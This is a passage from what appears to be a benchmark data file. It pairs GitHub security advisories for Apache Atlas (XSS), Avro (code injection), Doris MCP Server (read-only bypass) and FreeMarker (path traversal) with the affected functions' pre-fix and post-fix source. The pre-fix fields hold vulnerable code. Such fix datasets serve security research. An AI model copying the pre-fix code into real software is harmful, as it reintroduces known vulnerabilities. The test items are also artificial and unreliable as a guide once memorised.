title),\n \"content\": view,\n \"cancelText\": \"Cancel\",\n \"okCloses\": false,\n \"okText\": model ? \"Update\" : \"Create\",\n \"allowCancel\": true,\n \"width\": \"640px\"\n }).open();\n modal.$el.find('button.ok').attr(\"disabled\", \"true\");\n var longDescriptionEditor = modal.$el.find('textarea[data-id=longDescription]'),\n okBtn = modal.$el.find('button.ok'),\n modalOkBtn = function() {\n okBtn.removeAttr(\"disabled\");\n };\n Utils.addCustomTextEditor({ selector: longDescriptionEditor, callback: modalOkBtn, initialHide: false });\n modal.on('ok', function() {\n modal.$el.find('button.ok').showButtonLoader();\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n longDescriptionEditor.trumbowyg('html', Utils.sanitizeHtmlContent({ selector: longDescriptionEditor }));\n //End\n CommonViewFunction.createEditGlossaryCategoryTermSubmit(_.extend({ \"ref\": view, \"modal\": modal }, options));\n });\n modal.on('closeModal', function() {\n modal.trigger('cancel');\n if (options.onModalClose) {\n options.onModalClose()\n }\n longDescriptionEditor.trumbowyg('closeModal');\n });\n });\n }\n CommonViewFunction.createEditGlossaryCategoryTermSubmit = function(options) {\n if (options) {\n var ref = options.ref,\n modal = options.modal,\n model = options.model,\n node = options.node,\n isTermView = options.isTermView,\n isCategoryView = options.isCategoryView,\n collection = options.collection,\n isGlossaryView = options.isGlossaryView,\n data = ref.ui[(isGlossaryView ? \"glossaryForm\" : \"categoryTermForm\")].serializeArray().reduce(function(obj, item) {\n obj[item.name] = item.value.trim();\n return obj;\n }, {}),\n newModel = new options.collection.model(),\n messageType = \"Glossary \";\n }\n if (isTermView) {\n messageType = \"Term \";\n } else if (isCategoryView) {\n messageType = \"Category \";\n }\n var ajaxOptions = {\n silent: true,\n success: function(rModel, response) {\n var msgType = model ? \"editSuccessMessage\" : \"addSuccessMessage\";\n Utils.notifySuccess({\n content: messageType + ref.ui.name.val() + Messages.getAbbreviationMsg(false, msgType)\n });\n if (options.callback) {\n options.callback(rModel);\n }\n modal.trigger('closeModal');\n },\n cust_error: function() {\n modal.$el.find('button.ok').hideButtonLoader();\n }\n }\n if (model) {\n if (isGlossaryView) {\n model.clone().set(data, { silent: true }).save(null, ajaxOptions)\n } else {\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n\n } else {\n if (isGlossaryView) {\n new collection.model().set(data).save(null, ajaxOptions);\n } else {\n if (node) {\n var key = \"anchor\",\n guidKey = \"glossaryGuid\";\n data[\"anchor\"] = {\n \"glossaryGuid\": node.glossaryId || node.guid,\n \"displayText\": node.glossaryName || node.text\n }\n if (node.type == \"GlossaryCategory\") {\n data[\"parentCategory\"] = {\n \"categoryGuid\": node.guid\n }\n }\n }\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n data: JSON.stringify(data),\n }));\n }\n }\n }\n CommonViewFunction.removeCategoryTermAssociation = function(options) {\n if (options) {\n var selectedGuid = options.selectedGuid,\n termGuid = options.termGuid,\n isCategoryView = options.isCategoryView,\n isTermView = options.isTermView,\n isEntityView = options.isEntityView,\n collection = options.collection,\n model = options.model,\n newModel = new options.collection.model(),\n noticeRef = null,\n ajaxOptions = {\n success: function(rModel, response) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: ((isCategoryView || isEntityView ? \"Term\" : \"Category\") + \" association is removed successfully\")\n });\n if (options.callback) {\n options.callback();\n }\n },\n cust_error: function() {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n },\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.buttonText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n if (isEntityView && model) {\n var data = [model];\n newModel.removeTermFromEntity(termGuid, _.extend(ajaxOptions, {\n data: JSON.stringify(data)\n }))\n } else {\n var data = _.extend({}, model);\n if (isTermView) {\n data.categories = _.reject(data.categories, function(term) { return term.categoryGuid == selectedGuid });\n } else {\n data.terms = _.reject(data.terms, function(term) { return term.termGuid == selectedGuid });\n }\n\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n },\n cancel: function() {}\n };\n Utils.notifyConfirm(notifyObj);\n }\n }\n CommonViewFunction.addRestCsrfCustomHeader = function(xhr, settings) {\n if (null != settings.url) {\n var method = settings.type;\n var csrfToken = CommonViewFunction.restCsrfValue;\n null == CommonViewFunction.restCsrfCustomHeader || CommonViewFunction.restCsrfMethodsToIgnore[method] || xhr.setRequestHeader(CommonViewFunction.restCsrfCustomHeader, csrfToken);\n }\n }\n CommonViewFunction.restCsrfCustomHeader = null;\n CommonViewFunction.restCsrfMethodsToIgnore = null;\n CommonViewFunction.userDataFetch = function(options) {\n var csrfEnabled = false,\n header = null,\n methods = [];\n\n function getTrimmedStringArrayValue(string) {\n var str = string,\n array = [];\n if (str) {\n var splitStr = str.split(',');\n for (var i = 0; i < splitStr.length; i++) {\n array.push(splitStr[i].trim());\n }\n }\n return array;\n }\n if (options.url) {\n $.ajax({\n url: options.url,\n success: function(response) {\n if (response) {\n if (response['atlas.rest-csrf.enabled']) {\n var str = \"\" + response['atlas.rest-csrf.enabled'];\n csrfEnabled = (str.toLowerCase() == 'true');\n }\n if (response[\"atlas.rest-csrf.custom-header\"] && (header = response[\"atlas.rest-csrf.custom-header\"].trim()),\n response[\"atlas.rest-csrf.methods-to-ignore\"] && (methods = getTrimmedStringArrayValue(response[\"atlas.rest-csrf.methods-to-ignore\"])),\n csrfEnabled) {\n CommonViewFunction.restCsrfCustomHeader = header, CommonViewFunction.restCsrfMethodsToIgnore = {},\n CommonViewFunction.restCsrfValue = response[\"_csrfToken\"] || '\"\"',\n methods.map(function(method) {\n CommonViewFunction.restCsrfMethodsToIgnore[method] = !0;\n });\n var statusCodeErrorFn = function(error) {\n Utils.defaultErrorHandler(null, error)\n }\n Backbone.$.ajaxSetup({\n statusCode: {\n 401: statusCodeErrorFn,\n 419: statusCodeErrorFn,\n 403: statusCodeErrorFn\n },\n beforeSend: CommonViewFunction.addRestCsrfCustomHeader\n });\n }\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response.responseJSON);\n }\n }\n });\n }\n }\n CommonViewFunction.CheckDuplicateAndEmptyInput = function(elements, datalist) {\n var keyMap = new Map(),\n validation = true,\n hasDup = [];\n for (var i = 0; i < elements.length; i++) {\n var input = elements[i],\n pEl = input.nextElementSibling,\n classes = 'form-control',\n val = input.value.trim();\n pEl.innerText = \"\";\n\n if (val === '') {\n validation = false;\n pEl.innerText = 'Required!';\n } else if (val.includes(':')) {\n validation = false;\n var errorText = $(\".errorMsg[data-id='charSupportMsg']\").text();\n if (errorText && errorText.length === 0) {\n pEl.innerText = \"These special character '(:)' are not supported.\";\n }\n } else {\n if (input.tagName === 'INPUT') {\n var duplicates = datalist.filter(function(c) {\n return c.key === val;\n });\n if (keyMap.has(val) || duplicates.length > 1) {\n classes = 'form-control errorClass';\n hasDup.push('duplicate');\n pEl.innerText = 'Duplicate key';\n } else {\n keyMap.set(val, val);\n }\n }\n }\n if (validation === false) {\n classes = 'form-control errorClass';\n }\n input.setAttribute('class', classes);\n }\n return {\n validation: validation,\n hasDuplicate: (hasDup.length === 0 ? false : true)\n };\n }\n CommonViewFunction.getRandomIdAndAnchor = function() {\n var randomId = \"collapse_\" + parseInt((Math.random() * 100)) + \"_\" + new Date().getUTCMilliseconds();\n return {\n id: randomId,\n anchor: \"#\" + randomId\n };\n }\n CommonViewFunction.udKeysStringParser = function(udKeys) {\n var o = {};\n _.each(udKeys.split(','), function(udKey) {\n var ud = udKey.split(':');\n o[ud[0]] = ud[1];\n })\n return o;\n }\n CommonViewFunction.udKeysObjectToStringParser = function(udKeys) {\n var list = _.map(udKeys, function(udKey) {\n var t = udKey.key + ':' + udKey.value;\n return t;\n });\n return list.join(',');\n }\n CommonViewFunction.fetchRootEntityAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.entity, function(rootEntity) {\n Globals[rootEntity] = $.extend(true, {}, response, { name: rootEntity, guid: rootEntity });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n CommonViewFunction.fetchRootClassificationAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.classification, function(rootClassification) {\n Globals[rootClassification] = $.extend(true, {}, response, { name: rootClassification, guid: rootClassification });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n return CommonViewFunction;\n});" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "RelationshipFilters" function_lines = [[35, 162]] id = "apache-atlas-f8d76d90d767826b" language = "typescript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/components/QueryBuilder/RelationshipFilters.tsx" post_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return null;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n \n )\n },\n addRule: {\n label: (\n <>\n Add filter\n \n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};" pre_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n \n )\n },\n addRule: {\n label: (\n <>\n Add filter\n \n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-rp46-r563-jrc7" advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" cwe = "CWE-94" family = "injection" function = "javaSplit" function_lines = [[1032, 1047]] id = "apache-avro-1c1ac5d9361c069c" language = "java" method = "fix_site" parent = "80400781a796bc0e90dd8ea1db42234926db33e9" path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" post_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(escapeForJavaString(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */" pre_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(javaEscape(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */" repo = "apache/avro" url = "https://github.com/apache/avro.git" [[case]] advisory = "GHSA-rp46-r563-jrc7" advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" cwe = "CWE-94" family = "injection" function = "javaEscape" function_lines = [[1048, 1054]] id = "apache-avro-1d43772609028459" language = "java" method = "fix_site" parent = "80400781a796bc0e90dd8ea1db42234926db33e9" path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" post_fix = " public static String javaEscape(String o) {\n return escapeForJavaString(o);\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */" pre_fix = " public static String javaEscape(String o) {\n return o.replace(\"\\\\\", \"\\\\\\\\\").replace(\"\\\"\", \"\\\\\\\"\");\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */" repo = "apache/avro" url = "https://github.com/apache/avro.git" [[case]] advisory = "GHSA-rp46-r563-jrc7" advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue." commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4" cwe = "CWE-94" family = "injection" function = "javaAnnotations" function_lines = [[1005, 1031]] id = "apache-avro-f133a25fc910fb31" language = "java" method = "fix_site" parent = "80400781a796bc0e90dd8ea1db42234926db33e9" path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java" post_fix = " public String[] javaAnnotations(JsonProperties props) {\n final Object value = props.getObjectProp(\"javaAnnotation\");\n if (value instanceof String && isValidAsAnnotation((String) value))\n return new String[] { value.toString() };\n if (value instanceof List) {\n final List list = (List) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n if (isValidAsAnnotation(o.toString()))\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n private static final String PATTERN_IDENTIFIER_PART = \"\\\\p{javaJavaIdentifierStart}\\\\p{javaJavaIdentifierPart}*\";\n private static final String PATTERN_IDENTIFIER = String.format(\"(?:%s(?:\\\\.%s)*)\", PATTERN_IDENTIFIER_PART,\n PATTERN_IDENTIFIER_PART);\n private static final String PATTERN_STRING = \"\\\"(?:\\\\\\\\[\\\\\\\\\\\"ntfb]|(? list = (List) value;\n final List annots = new ArrayList<>(list.size());\n for (Object o : list) {\n annots.add(o.toString());\n }\n return annots.toArray(new String[0]);\n }\n return new String[0];\n }\n\n // maximum size for string constants, to avoid javac limits\n int maxStringChars = 8192;\n\n /**\n * Utility for template use. Takes a (potentially overly long) string and splits\n * it into a quoted, comma-separted sequence of escaped strings.\n *\n * @param s The string to split\n * @return A sequence of quoted, comma-separated, escaped strings\n */" repo = "apache/avro" url = "https://github.com/apache/avro.git" [[case]] advisory = "GHSA-m35w-xx8c-6xc7" advisory_text = "Apache Doris-MCP-Server: Improper Access Control results in bypassing a \"read-only\" mode\n\nAn attacker with a valid read-only account can bypass Doris MCP Server’s read-only mode due to improper access control, allowing modifications that should have been prevented by read-only restrictions.\n\nImpact:\n\nBypasses read-only mode; attackers with read-only access may perform unauthorized modifications.\n\nRecommended action for operators: Upgrade to version 0.6.0 as soon as possible (this release contains the fix)." commit = "5923cc1c8973069a6d54eca1948a10488cbf409e" cwe = "CWE-284" family = "access_control" function = "execute_sql_query" function_lines = [[829, 858]] id = "apache-doris-mcp-server-58f237c099a19c43" language = "python" method = "fix_site" parent = "9b5ac8533dd5d0637cc3de70a0fd9dbd272beae6" path = "doris_mcp_server/utils/query_executor.py" post_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\n \n This function now includes security validation to ensure safe query execution.\n All queries are validated against the configured security policies before execution.\n \"\"\"\n try:\n # Create query executor with the connection manager's configuration\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n # The execute_sql_for_mcp method now includes security validation\n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"error_type\": \"execution_error\",\n \"data\": None,\n \"metadata\": {\n \"query\": sql,\n \"execution_error\": str(e)\n }\n }" pre_fix = "async def execute_sql_query(sql: str, connection_manager: DorisConnectionManager, **kwargs) -> Dict[str, Any]:\n \"\"\"Execute SQL query - unified convenience function for MCP tools\"\"\"\n try:\n # Create query executor\n executor = DorisQueryExecutor(connection_manager)\n \n try:\n # Extract parameters from kwargs or use defaults\n limit = kwargs.get(\"limit\", 1000)\n timeout = kwargs.get(\"timeout\", 30)\n session_id = kwargs.get(\"session_id\", \"mcp_session\")\n user_id = kwargs.get(\"user_id\", \"mcp_user\")\n \n result = await executor.execute_sql_for_mcp(\n sql=sql,\n limit=limit,\n timeout=timeout,\n session_id=session_id,\n user_id=user_id\n )\n return result\n finally:\n await executor.close()\n \n except Exception as e:\n return {\n \"success\": False,\n \"error\": f\"Query execution failed: {str(e)}\",\n \"data\": None\n }" repo = "apache/doris-mcp-server" url = "https://github.com/apache/doris-mcp-server.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "getURL" function_lines = [[138, 149]] id = "apache-freemarker-0209dc8ff7a5a0b9" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java" post_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackageIsRoot && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null\n ? resourceLoaderClass.getResource(fullPath)\n : classLoader.getResource(fullPath);\n }\n" pre_fix = " protected URL getURL(String name) {\n String fullPath = basePackagePath + name;\n\n // Block java.net.URLClassLoader exploits:\n if (basePackagePath.equals(\"/\") && !isSchemeless(fullPath)) {\n return null;\n }\n\n return resourceLoaderClass != null ? resourceLoaderClass.getResource(fullPath) : classLoader\n .getResource(fullPath);\n }\n" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "concatPath" function_lines = [[814, 841]] id = "apache-freemarker-203931cda95af8bc" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n\n /**\n * This class holds a (name, locale) pair and is used as the key in the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override" pre_fix = " private String concatPath(List path, int from, int to) {\n StringBuilder buf = new StringBuilder((to - from) * 16);\n for (int i = from; i < to; ++i) {\n buf.append(path.get(i)).append('/');\n }\n return buf.toString();\n }\n \n /**\n * This class holds a (name, locale) pair and is used as the key in\n * the cached templates map.\n */\n private static final class TemplateKey {\n private final String name;\n private final Locale locale;\n private final Object customLookupCondition;\n private final String encoding;\n private final boolean parse;\n\n TemplateKey(String name, Locale locale, Object customLookupCondition, String encoding, boolean parse) {\n this.name = name;\n this.locale = locale;\n this.customLookupCondition = customLookupCondition;\n this.encoding = encoding;\n this.parse = parse;\n }\n\n @Override" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "getClassNameForToString" function_lines = [[30, 38]] id = "apache-freemarker-29fe382661669370" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateLoaderUtils.java" post_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n}" pre_fix = " public static String getClassNameForToString(TemplateLoader templateLoader) {\n final Class tlClass = templateLoader.getClass();\n final Package tlPackage = tlClass.getPackage();\n return tlPackage == Configuration.class.getPackage() || tlPackage == TemplateLoader.class.getPackage()\n ? tlClass.getSimpleName() : tlClass.getName();\n }\n\n \n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "TemplateConfigurationFactoryException" function_lines = [[28, 31]] id = "apache-freemarker-35b46d5635d33c30" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateConfigurationFactoryException.java" post_fix = " public TemplateConfigurationFactoryException(String message) {\n this(message, null);\n }\n" pre_fix = " public TemplateConfigurationFactoryException(String message) {\n super(message);\n }\n" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage 